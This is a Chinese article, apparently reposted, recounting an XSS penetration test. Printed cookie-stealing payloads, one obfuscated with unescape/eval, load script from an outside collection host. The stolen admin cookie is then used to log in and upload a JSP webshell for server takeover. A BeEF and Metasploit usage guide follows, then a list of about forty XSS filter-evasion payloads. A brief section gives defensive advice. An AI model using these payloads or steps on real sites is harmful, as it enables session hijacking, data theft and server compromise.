xss之滲透測試

跨站腳本攻擊:cross site script execution(一般簡寫爲xss,因css與層疊樣式表同名,故改成xss),是指攻擊者利用網站程序對用戶輸入過濾不足,輸入能夠顯示在頁面上對其餘用戶形成影響HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害的一種攻擊方式,不少人對於xss的利用大多停留在彈框框的程度,一些廠商對xss也是不覺得然,都認爲安全級別很低,甚至忽略不計,本文旨在講述關於跨站腳本攻擊的利用方式,並結合實例進行分析。

咱們構造的獲取cookie的xss腳本代碼,已經成功的提交到了網站後臺。

代碼:

</textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script>
或者
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>javascript

如圖所示:
css

通過1天的等待,網站管理員後臺登陸並查看個人我提交的腳本代碼,跨站漏洞攻擊平臺順利的接收到了發來的cookie身份認證信息。
如圖所示:html

利用firefox修改瀏覽器cookie爲截取到的cookie,成功冒充管理員欺騙服務器進入管理後臺查看反饋信息:java

後臺登陸url爲:http://118.194.61.xxx/admin.dogit

成功進入後臺管理系統,並能夠對全部欄目操做,包括CEO的微博賬號設置等,後臺還包含上傳功能,經滲透測試發現能夠上傳指定jsp腳本木馬文件。web

成功上傳jsp木馬腳本到服務器目錄,url爲:http://wwww.xxx.com/pub/129/2013/files/job.jsp。shell

鏈接進入順利執行指定jsp木馬,能夠接管目標服務器,上傳下載,新建刪除網站文件等,甚至能夠執行系統命令。數據庫

如圖所示:瀏覽器

xss滲透之BEEF利用安全

BeEF是一個用於合法研究和測試目的的專業瀏覽器漏洞利用框架,它容許有經驗的滲透測試人員或系統管理員對目標進行攻擊測試,攻擊成功之後會加載瀏覽器劫持會話。
BeFF,它擴展了跨站漏洞的利用,能hook不少瀏覽器(IE和Firefox等)並能夠執行不少內嵌命令。
BeEF是目前歐美最流行的web框架攻擊平臺,它的全稱是:the Browser exploitation framework project.
經過xss這個簡單的漏洞,BeEF能夠經過一段編制好的javascript控制目標主機的瀏覽器,經過瀏覽器拿到各類信息而且掃描內網信息,同時可以配合metasploit進一步滲透主機。

一、BEEF項目地址:http://beefproject.com

二、安裝BeEF

下載Beef最新版本
$ svn checkout http://beef.googlecode.com/svn/track/ beef
$ ruby install
選擇第一項自動安裝須要的相關gems便可,也能夠選擇2按照提示一個一個進行安裝,安裝完成後就能夠直接啓動了
$ ruby beef -x

三、使用BeEF

啓動BeEF
#./beef

命令行中顯示的UI URL之後即爲WEB接口,用瀏覽器打開,輸入默認密碼beef/beef,便可進入BeEF管理頁面
按照提示,假設此時目標192.168.11.1的服務器訪問了這個demo頁面:http://192.168.11.152:3000/demos/basic.html,則就被hook上了。
如圖所示:

四、實施攻擊

hook持續的時間爲關閉測試頁面爲止,在此期間,至關於被控制了,能夠發送攻擊命令了,選擇commands欄,能夠看到不少已經分好類的攻擊模塊。
其中,4種顏色分別表示:
該攻擊模塊可用,且隱蔽性強
該攻擊模塊可用,但隱蔽性差
該用戶模塊是否可用還有待驗證
該攻擊模塊不可用

例如,選取MISC下的Raw JavaScript模塊做爲測試用例,右端表格有該模塊的詳細說明,以及一些可選的參數等,輸入Javascript code,點擊Excute進行攻擊。
效果如圖所示:

五、proxy功能

選中目標主機,右鍵,在菜單中選中Use as Proxy

如圖所示:

而後再Rider選項卡中的Forge Request 編輯併發送想要發送的內容。

如圖所示:

經過查看目標瀏覽器firebug記錄,能夠確信確實發送了該http,達到了代理效果。同時Rider下的History選項也記錄了發送歷史記錄。

如圖所示:

六、metasploit組合

因爲BeEF默認是不加載metasploit的,要使用Metasploit豐富的攻擊模塊,須要作些配置,BT5下,首先到beef目錄下修改/pentest/web/beef/config.yaml文件,將其中的metasploit選項改成enable。
如圖所示:

而後查看/pentest/web/beef/extensions/metasploit/config.yaml,查看到其中的pass默認爲abc123,這是與metasploit通訊約定的密碼,轉到msf目錄/opt/metasploit/msf3/,新建一個 beef.rc文件,內容爲:load msgrpc ServerHost=127.0.0.1 Pass=abc123,從而實現與beef的通訊。
啓動msfconsole
#msfconsole –r beef.rc
如圖所示,順利啓動服務。

如今能夠啓動beef了,啓動後,能夠看到BEEF加載了204個metasploit的攻擊模塊。

如圖所示:

如今可使用metasploit的模塊進行攻擊了。

如圖所示:

七、原理

BEEF採用ruby語言編寫,其目錄結構以下所示:

除去一些安裝和說明文件,Beef最主要的目錄有三個,core、extension和modules,BEEF的核心文件在core目錄下,各類擴展功能在extension目錄下,modules則爲攻擊模塊目錄。

core目錄是BEEF的核心目錄,並負責加載extension和module。其中最關鍵的文件位於core\main目錄下,其文件結構以下所示:

client目錄下均爲js文件,是在受控客戶端(hooked browser)使用的js文件,包括net、browser、encode、os等的實現,以update.js爲例,在core\main\client\update.js中能夠看到,定義了beef.updater,設置每隔5秒check一次是否有新的命令,若是有,則獲取並執行之。
console目錄用於命令行控制。
constants目錄定義了各類常量。
handlers目錄主要用於處理來自受控客戶端鏈接請求。
models目錄定義了一些基本的類。
rest目錄,即WEB服務基於REST原則,是一種輕量級的HTTP實現,在server.rb中可看到,是經過mount的形式將資源與URL相對應,即它不是一個簡單的WEB目錄服務,任何須要http服務的資源,都須要先mount才能使用。


def mount(url, http_handler_class, args = nil)
        # argument type checking
        raise Exception::TypeError, ‘」url」 needs to be a string’ if not url.string?
 
        if args == nil
          mounts[url] = http_handler_class
        else
          mounts[url] = http_handler_class, *args
        end
        print_debug(「Server: mounted handler ‘#{url}’」)
      end
     ………
     self.mount(「/init」, BeEF::Core::Handlers::BrowserDetails)
      ………
      # Rack mount points
        @rack_app = Rack::URLMap.new(@mounts)
      ………
       # Create the BeEF http server
          @http_server = Thin::Server.new(
              @configuration.get(‘beef.http.host’),
              @configuration.get(‘beef.http.port’),
              @rack_app)

 

extention目錄下爲各類擴展應用

其中幾個extension的做用以下:

Admin_ui: 實現了一個WEB界面的控制後臺。
Metasploit: 與metasploit互通相關的設置。
Requester: 負責處理HTTP請求,其文件以下所示:

其中:Extension.rb 是每一個擴展必有的文件,是加載該擴展的接口文件。
Config.yaml爲做者和該擴展相關信息。
Api.rb爲自身註冊的一些API函數。
Models定義了一個http模型對象,例如,其中有個has_run屬性,當請求未發送時,其值爲」waiting」,發送攻擊時,遍歷狀態爲」waiting」的模塊,併發送http請求。
Handler.rb 主要是處理http響應,收到響應後將相應的模塊has_run狀態置爲complete,並保存到數據庫。

modules目錄
modules集合了BEEF的各個攻擊模塊,通常一個攻擊模塊分爲3個文件:command.js、config.yaml、module.rb。這樣的結構能夠很方便地進行模塊添加,易於擴展。
config.yaml: 攻擊模塊相關信息,如名稱、描述、分類、做者、適用場景等
module.rb:文件定義了該攻擊模塊的類,繼承了BEFF::Core::Command類,在通用command類的基礎上定義一些該模塊特有的處理函數,如使用較多的一個函數是post_execute,即攻擊進行後進行的操做(通常爲保存結果),以下所示:

class Browser_fingerprinting < BeEF::Core::Command
 
 
  def post_execute
    content = {}
    content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
    content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
    if content.empty?
      content['fail'] = ‘Failed to fingerprint browser.’
    end
    save content
  end
 
end

command.js: 即爲攻擊代碼,攻擊時讀取此js併發送給受控客戶端,以detect_firebug模塊的command.js爲例,代碼以下所示:

beef.execute(function() {
 
         var result = 「Not in use or not installed」;
         if (window.console && (window.console.firebug || window.console.exception)) result = 「Enabled and in use!」;
         beef.net.send(「<%= @command_url %>」, <%= @command_id %>, 「firebug=」+result);
});

代碼很簡單,在受控客戶端執行取得結果以後,將結果返回給server端,Beef.net在core/main/client目錄下定義。
在core目錄下的command.rb中,能夠看到加載過程,首先判斷該攻擊模塊的command.js是否存在,如存在,就讀取到@eruby,可能還須要進行參數替換,因此須要進行evaluate操做。

      def output
 
        f = @path+’command.js’
        (print_error 「#{f} file does not exist」;return) if not File.exists? f
 
        command = BeEF::Core::Models::Command.first(:id => @command_id)
 
        @eruby = Erubis::FastEruby.new(File.read(f))
 
        data = BeEF::Core::Configuration.instance.get(「beef.module.#{@key}」)
        cc = BeEF::Core::CommandContext.new
        cc['command_url'] = @default_command_url
        cc['command_id'] = @command_id
        JSON.parse(command['data']).each{|v|
          cc[v['name']] = v['value']
        }
        if self.respond_to?(:execute)
          self.execute
        end
        @output = @eruby.evaluate(cc)
 
        @output
      end

八、總結

經過本次滲透測試一步一步利用系統存在的漏洞不斷獲取系統權限。
這裏邊利用的漏洞有這麼幾個:一個是網站對外開放反饋那裏的提交頁面,對於客戶端提交的惡意腳本代碼,沒有作輸入的過濾處理或者後臺顯示的時候沒有作輸出編碼處理,給跨站代碼的運行留下了可趁之機;另外一個是網站後臺提供上傳的地方沒有作任何的過濾哪怕是文件後綴的過濾都沒有作,致使能夠直接上傳植入惡意腳本後門文件。

九、安全建議

基於以上2個漏洞,咱們提供以下安全建議:
跨站方面:對網站上全部能提交到後臺的反饋信息處,限制客戶端的輸入過濾一些危險字符好比< >? /’; 等特殊字符,在輸出的地方對客戶端輸入的字符在服務端作轉義處理而後再發送給瀏覽器顯示,同時也能夠在後臺cookie設置的時候cookie屬性加入httponly屬性,指定cookie信息經過http傳輸,這樣後臺即便存在了跨站腳本也讀取不到管理員的cookie。
上傳方面:對後臺上傳文件地方作白名單過濾機制,只容許如JPG、GIF等上傳。

十、xss payload

1.普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>2.IMG標籤XSS使用JavaScript命令<IMG SRC=1 ONERROR=alert(‘XSS’)>3.IMG標籤無分號無引號<IMG SRC=javascript:alert(‘XSS’)>4.IMG標籤大小寫不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>5.HTML編碼(必須有分號)<IMG SRC=javascript:alert(「XSS」)>6.修正缺陷IMG標籤<IMG 「」"><SCRIPT>alert(「XSS」)</SCRIPT>」>7.formCharCode標籤(計算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8.UTF-8的Unicode編碼(計算器)<IMG SRC=jav..省略..S')>9.7位的UTF-8的Unicode編碼是沒有分號的(計算器)<IMG SRC=jav..省略..S')>10.十六進制編碼也是沒有分號(計算器)<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>11.嵌入式標籤,將Javascript分開<IMG SRC=」jav ascript:alert(‘XSS’);」>12.嵌入式編碼標籤,將Javascript分開<IMG SRC=」jav ascript:alert(‘XSS’);」>13.嵌入式換行符<IMG SRC=」jav ascript:alert(‘XSS’);」>14.嵌入式回車<IMG SRC=」jav ascript:alert(‘XSS’);」>15.嵌入式多行注入JavaScript,這是XSS極端的例子<IMG SRC=」javascript:alert(‘XSS‘)」>16.解決限制字符(要求同頁面)<script>z=’document.’</script><script>z=z+’write(「‘</script><script>z=z+’<script’</script><script>z=z+’ src=ht’</script><script>z=z+’tp://ww’</script><script>z=z+’w.shell’</script><script>z=z+’.net/1.’</script><script>z=z+’js></sc’</script><script>z=z+’ript>」)’</script><script>eval_r(z)</script>17.空字符perl -e ‘print 「<IMG SRC=java\0script:alert(\」XSS\」)>」;’ > out18.空字符2,空字符在國內基本沒效果.由於沒有地方能夠利用perl -e ‘print 「<SCR\0IPT>alert(\」XSS\」)</SCR\0IPT>」;’ > out19.Spaces和meta前的IMG標籤<IMG SRC=」 javascript:alert(‘XSS’);」>20.Non-alpha-non-digit XSS<SCRIPT/XSS SRC=」http://3w.org/XSS/xss.js」></SCRIPT>21.Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(「XSS」)>22.Non-alpha-non-digit XSS to 3<SCRIPT/SRC=」http://3w.org/XSS/xss.js」></SCRIPT>23.雙開括號<<SCRIPT>alert(a.sourse);//<</SCRIPT>24.無結束腳本標記(僅火狐等瀏覽器)<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>25.無結束腳本標記<SCRIPT SRC=//3w.org/XSS/xss.js>26.半開的HTML/JavaScript XSS<IMG SRC=」javascript:alert(‘XSS’)」27.雙開角括號<iframe src=http://3w.org/XSS.html <28.無單引號、雙引號、分號<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>29.換碼過濾的JavaScript\」;alert(‘XSS’);//30.結束Title標籤</TITLE><SCRIPT>alert(「XSS」);</SCRIPT>31.Input Image<INPUT SRC=」javascript:alert(‘XSS’);」>32.BODY Image<BODY BACKGROUND=」javascript:alert(‘XSS’)」>33.BODY標籤<BODY(‘XSS’)>34.IMG Dynsrc<IMG DYNSRC=」javascript:alert(‘XSS’)」>35.IMG Lowsrc<IMG LOWSRC=」javascript:alert(‘XSS’)」>36.BGSOUND<BGSOUND SRC=」javascript:alert(‘XSS’);」>37.STYLE sheet<LINK REL=」stylesheet」 HREF=」javascript:alert(‘XSS’);」>38.遠程樣式表<LINK REL=」stylesheet」 HREF=」http://3w.org/xss.css」>39.List-style-image(列表式)<STYLE>li {list-style-image: url(「javascript:alert(‘XSS’)」);}</STYLE><UL><LI>XSS40.IMG VBscript<IMG SRC=’vbscript:msgbox(「XSS」)’></STYLE><UL><LI>XSS

相關文章
相關標籤/搜索